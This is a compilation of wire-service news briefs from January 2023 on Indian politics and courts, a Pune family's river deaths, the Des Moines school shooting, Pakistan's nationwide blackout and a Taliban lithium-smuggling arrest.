Rajya Sabha MP and senior advocate at Supreme Court Mahesh Jethmalani on Tuesday alleged that Congress leader Jairam Ramesh is a lobbyist of Chinese companies and has Chinese links. Jethmalani said, "Jairam Ramesh is a Chinese pet. It is very clear as the Chinese are praising him and telling the Indian government to pay heed to what Jairam Ramesh is saying. Perhaps if they listen to Jairam Ramesh, India-China relations would improve." As a concerned Indian, Jethmalani said he is "extremely worried" as Ramesh is challenging the Indian government and Indian Army positions on sensitive border issues - the skirmishes, Galwan, Tawang and Doklam. "I am very concerned that somebody with this kind of background and if it was done solely in the spirit of inquiry as a member of the opposition or member of Rajya Sabha, nothing wrong with it. But you seem to be taking a line that is anti-India and pro-China and then is improper. The propriety of this whole situation - like you have been the lobbyist of Chinese companies and China in general. China looks upon you with great favour and that should be coming from such a person is a matter which concerns me," he said. Jethmalani further questioned if Ramesh was speaking out of genuine concern for the country or are speaking out of "motivated interest". "I look at his statement with great suspicion as since 2005, Jairam Ramesh has been a spokesperson for Chinese companies. He has Chinese links and is a lobbyist for Chinese companies," he further said. (ANI)
Police in Pune have fished out bodies of at least 7 members of a family from different points in a river on the outskirts of the city in the past five days, an official said on Tuesday. The bodies recovered include those of an elderly couple, a young man and woman, and three minor children, and they are said to be residents of a village in Parner in neighbouring Ahmednagar. The bodies were found in different spots in the Bheema River at Yavet village and were fished around 200-300 metres apart. Further searches are going on, police said. They have been identified as of Mohan Uttam Pawar, his wife Sangita Pawar, daughter Rani Shyam Phulware, her husband Shyam Phulware, and their children. According to preliminary investigations, the family drove down from Ahmednagar to Daund shortly before midnight on January 17 and then reportedly jumped into the river. The first of the bodies - of a woman - was spotted by locals the next day and police informed. After a search in the river length in the vicinity, the rest were brought out in the past five days. Even as the incident sent shocks among people in the two district, the Pune police are investigating various angles, including if it was a suicide pact, or what the motives behind their drastic action could be, etc. --IANS qn/vd ( 239 Words) 2023-01-24-19:20:06 (IANS)
Des Moines Police spokesman Sgt. Paul Parizek speaks outside the Starts Right Here building, Monday, Jan. 23, 2023, in Des Moines, Iowa. (Charlie Neibergall/AP)

An 18-year-old man was charged with murder in Mondays killing of two teenagers at an alternative educational program for at-risk youth in Des Moines.

Police said Preston Walls of Des Moines is charged with two counts of murder and one count of attempted murder in the Monday shooting at Starts Right Here. Two teenagers  an 18-year-old male and a 16-year-old male  were killed in the attack.

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The programs founder, 49-year-old William Holmes  a rapper who goes by the stage name Will Keeps  was injured.

Police said Walls was on supervised pre-trial release on a weapons charge and had removed an ankle bracelet 16 minutes before he went to the school with a gun and confronted the two student victims. Police said Walls and the two students all had gang affiliations and were in opposing gangs.
Bihar Chief Minister Nitish Kumar, while targeting R.C.P. Singh and Upendra Kushwaha, claimed that many leaders came to his JD-U and he had promoted them but they either talked against his party or left it. The party is not affected by it, he added. On the 99th birth anniversary of Jannayak Karpoori Thakur, Nitish Kumar went to his native village Karpoorigram in Samastipur district to participate in an event to mark the occasion. During the event, He said: "Some people (Kushwaha) came to the party two years ago and are criticising us with the actual motive of making grounds for leaving the party." Kushwaha, after the 2020 Assembly election, merged his RLSP into the JD-U after not managing to win a single seat. The JD-U had given him the post of party's Parliamentary Board President. "I have promoted many leaders but they talked against us and left the party. The party is not affected with their absence," Nitish Kumar said. Asked about Kushwaha's recent comments, he promptly said: "We have nothing to do with him. He came with us and said something. He is free to say whatever he wants. Don't ask me about him." Besides Kushwaha, Nitish Kumar also hinted that he had given top post to R.C.P. Singh who was a bureaucrat. but he was also involved in anti-party activities. --IANS ajk/vd ( 237 Words) 2023-01-24-19:54:04 (IANS)
JD-U Parliamentary Board President Upendra Kushwaha on Tuesday demanded a meeting of the party's Executive Committee, while asking his party's top leadership to disclose the deal, if any, with the RJD during the formation of the grand alliance government. "The leaders of the RJD claim every now and then that there was a deal between the RJD and the JD-U. If any such things had happened in the past, it should be disclosed in the Executive Committee meeting of the party. Why are RJD leaders saying this all the time? Do they want to remove Nitish Kumar," he said. "In the past few days, the RJD leaders have targeted Nitish Kumar. I was standing alongside him and gave appropriate answers. Why other leaders of the party were not say anything? I want to request those leaders with folded hands to abuse me but avoid weakening the JD-U. Upendra Kushwaha cannot watch it like a silent spectator. The leaders of RJD used objectionable words like Shikhandi, night watchman, beggar etc, only Upendra Kushwaha stood with Nitish Kumar," Kushwaha added. "When rumours spread about the JD-U merger in RJD, why other leaders of the party would not raise their voices against it," he said. Kushwaha, claiming that there was a conspiracy going on against him, said: "I want to say that the conspiracy is not against me but it is against Nitish Kumar. If you are sidelining Upendra Kushwaha, that means you are sidelining Nitish Kumar. Upendra Kushwaha is standing between those leaders who want to weaken Nitish Kumar." --IANS ajk/vd ( 274 Words) 2023-01-24-20:28:04 (IANS)
The arrested fake doctor, who is also the owner of the hospital, has been identified as Manoj Kumar Saini, a resident of Kotputli in Rajasthan.

The accused, who was running the hospital named 'Sunshine Multi-speciality Hospital' at Sarhaul village in Sector 18, also failed to produce documents supporting his medical degree.

Saini was allegedly running the hospital illegally for the last five-six months.

An FIR has been registered against Saini at the Sector 17/18 police station.

The raid party also detected electricity theft at the illegal hospital.

"Necessary action will be taken against the illegal hospital by the electricity department," said Inderjeet Yadav, DSP at CM's Flying Squad.

--IANS str/arm

( 163 Words)

2023-01-24-21:06:03 (IANS)
Amid the controversy over JD-U leader Upendra Kushwaha in his party, Leader of Opposition in Bihar Assembly Vijay Kumar Sinha on Tuesday accused Chief Minister Nitish Kumar of sacrificing any leader for his self-interest. "Nitish Kumar has sacrificed many leaders for his self-interest and the next is Upendra Kushwaha. Nitish Kumar does not like a man who is loyal to him and has principles. Upendra Kushwaha says the truth sometimes which Nitish Kumar does not. "There is a political uncertainty in Bihar and those who have stolen the mandate are responsible for it. They are fooling the people of Bihar. The Mahagathbandhan government has not formed under the principle or service to the people. It was formed to do corruption," Sinha said. "There was a deal between the JD-U and the RJD. One wanted to become Prime Minister and the other the Chief Minister. Upendra Kushwaha sometimes tells the truth but he does not tell the complete truth. Nitish Kumar and Tejashwi Yadav are cheating each other. They have nothing to do with the interests of common people," he alleged, demanding that Nitish Kumar should dissolve the Assembly to respect the mandate. --IANS ajk/vd ( 207 Words) 2023-01-24-21:08:04 (IANS)
Sisi would be the chief guest at the 74th Republic Day function on Thursday.

"Warm welcome to India, President Abdel Fattah el-Sisi. Your historic visit to India as Chief Guest for our Republic Day celebrations is a matter of immense happiness for all Indians. Look forward to our discussions tomorrow. @AlsisiOfficial," Modi tweeted.

Both the leaders will hold discussions on Wednesday.

--IANS ans/vd

( 104 Words)

2023-01-24-21:22:02 (IANS)
The victim and accused identified as 25-year-old Sanjeevikumar Sambhulingam stayed in the same area, added the police.

The accused was nabbed while trying to flee to his hometown in Tamil Nadu and presented before the court, stated the police. (ANI)
The Supreme Court would pronounce its order on Wednesday on the bail plea of Ashish Mishra, key accused in the 2021 Lakhimpur Kheri violence case and son of Union Minister Ajay Kumar Mishra. According to the cause list uploaded on the apex court website, a bench comprising Justices Surya Kant and J.K. Maheshwari will pronounce the order on January 25. The apex court had reserved its order on Mishra's plea on January 19. Additional Advocate General for Uttar Pradesh Garima Prashad opposed Mishra's bail plea. She had submitted that it was a grave and heinous crime and granting bail will send a wrong signal to society. Senior advocate Dushyant Dave, appearing for those opposing the bail plea, said grant of bail will send a terrible message to society. "It is a conspiracy and a well-planned murder. I will show it from the charge sheet. He is the son of a powerful man being represented by a powerful lawyer," he said. Senior advocate Mukul Rohatgi, appearing for Mishra, strongly opposed Dave's submission, saying: "What is this? Who is powerful? We are appearing every day. Can this be a condition to not grant bail?" He submitted that his client has been in custody for more than a year and the way the trial is going, it will take seven to eight years to complete it. He said that Jagjit Singh, who is the complainant in the case, is not an eyewitness and his complaint is just based on hearsay. "Jagjit Singh is the complainant and he is not an eyewitness. I am surprised that when there are many people saying we ran over people mercilessly, an FIR is registered on the version of a person who is not an eyewitness?" Rohatgi said, adding that his client is not a criminal and there are no past records. On October 3, 2021, eight people were killed in Lakhimpur Kheri district's Tikunia in a violence that erupted when farmers were protesting against UP Deputy Chief Minister Keshav Prasad Maurya's visit to the area. According to the Uttar Pradesh Police FIR, four farmers were mowed down by an SUV, in which Ashish Mishra was seated. Following the incident, a driver and two BJP workers were allegedly lynched by angry farmers. A journalist also died in the violence. On December 6 last year, a trial court had framed charges against Mishra and 12 others for the alleged offences of murder, criminal conspiracy and others in the case of death of the protesting farmers in Lakhimpur Kheri, paving the way for the start of the trial. A total of 13 accused, including Mishra, have been charged under IPC sections 147 and 148 related to rioting, 149 (unlawful assembly), 302 (murder), 307 (attempt to murder), 326 (voluntarily causing grievous hurt by dangerous weapons or means), 427 (mischief) and 120B (punishment for criminal conspiracy), and section 177 of the Motor Vehicle Act. The other 12 accused are Ankit Das, Nandan Singh Bisht, Latif Kale, Satyam a.k.a Satya Prakash Tripathi, Shekhar Bharti, Sumit Jaiswal, Ashish Pandey, Lavkush Rana, Shishu Pal, Ullas Kumar Trivedi, Rinku Rana and Dharmendra Banjara. All of them are in jail. --IANS ss/vd ( 543 Words) 2023-01-24-22:28:03 (IANS)
Two students were killed in a targeted shooting at a Des Moines, Iowa charter school on Monday afternoon, according to US-based news publication The Hill. According to The Hill, the two victims, who were identified as students were taken to the hospital for treatment in a very 'critical' condition where they succumbed to injuries. Several 911 callers reported a shooting, and soon before 1 p.m. (local time), police were dispatched to the Starts Right Here school. When officers got on the site, they discovered three victims of gunshot wounds, according to The Hill. The third person who was injured in the shooting was an adult school employee who underwent surgery. However, as of now the names of the shooting victims have not been released by the authorities who are investigating the case. The Hill reported that straight after the shooting, three people were taken into custody about two miles away from the scene. Two suspects remained in the car and were apprehended. A police K9 team helped to rapidly apprehend a third person who fled the vehicle. The suspects' names have not been made public by police. Starts Right Here, a charter school where the shooting incident took place was established primarily to aid at-risk adolescents who required specialised outreach. Rapper Will Keeps, a community activist whose real name is Will Holmes, founded it. (ANI)
Pakistan Prime Minister Shehbaz Sharif has ordered an inquiry into the power outage in Pakistan that took place at around 7:34 am on Monday and left many cities including Karachi, Lahore, Quetta and Islamabad without electricity, Geo TV reported. According to a statement from Pakistan's Ministry of Energy, the national grid's frequency dropped around 7:34 am, leading to a "widespread breakdown" in the electricity system. Additionally, it stated that Warsak was the starting point for the repair of grid stations. However, electricity has still not been fully restored nationwide, which is hindering companies and the daily lives of more than 220 million people. The outage lasted for more than 16 hours, especially when temperatures were forecasted to fall to around 4 degrees Celsius (39F) in Islamabad and 8 degrees Celsius (46F) in Karachi, according to Geo TV. The blackout, which Energy Minister Khurram Dastagir claimed was caused by a power surge, is the second significant grid breakdown in three months and adds to the nearly daily blackouts Pakistan's population experiences. The power outage occurred after a technical fault was reported in the transmission line from Guddu to Quetta, causing the reduction of the power frequency from the optimum level, AAJ News reported citing sources. Sources revealed that Sindh, Punjab, and Islamabad regions were impacted by the power breakdown. According to sources, the complete restoration of electricity might take time. It is the second power outage reported over the past four months in Pakistan which is currently dealing with the energy crisis and high energy costs. Islamabad Electricity Supply Company (IESCO), which provides electricity to Islamabad, Rawalpindi, Attock, Jhelum, Chakwal and parts of Pakistan-occupied Kashmir (PoK) said that the power supply to 117 grid stations of its company has been suspended, as per the news report. IESCO tweeted, "Power supply to 117 grid stations of ISCO has been suspended yet no clear reason has been given by the Region Control Center. ISCO management is in constant communication with the concerned authorities." (ANI)
Five men, including two Chinese nationals, were arrested by the Taliban over the alleged smuggling of an estimated 1,000 metric tons of lithium-bearing rocks out of the country, local media reported. The Chinese nationals were reportedly trying to smuggle the 'precious' stones from Afghanistan to China via Pakistan by means of their Afghan allies. The arrests and the rock confiscation took place in Jalalabad, a border city in eastern Afghanistan, according to Reporterly. According to local sources, the rocks contained up to 30 per cent of lithium and were "secretly" extracted from Nuristan and Kunar, two of the several Afghan provinces along the border with Pakistan. The Chinese nationals and their Afghan collaborators were planning to illegally transport the "precious stones" to China via Pakistan, said the Taliban intelligence officials in comments aired Sunday by Afghan television channels, according to Reporterly. The relationship between China and Afghanistan has become dicey since December 12 when a bomb and gun attack targeted a hotel, injuring five Chinese nationals. This attack led to Beijing's tepid approach as China in its advisory asked citizens to leave Afghanistan. However, in November last year, Afghanistan is seen in talks with China to rekindle the ancient Silk Road trade routes in order to help its dwindling economy. But it seems that Afghanistan also had the same plan as China. On August 15 in 2021, when the Taliban took over Afghanistan, China expressed its readiness to provide friendly cooperation to the landlocked nation. The Chinese Foreign Ministry also intended to play a constructive role in Afghanistan. In fact, China like Pakistan, Russia, and Iran had emerged as trusted allies of the Taliban regime, according to Al Arabia Post. Beijing treats the landlocked country with tact and caution--no big investment or assistance, except for a few trades in cheap goods. (ANI)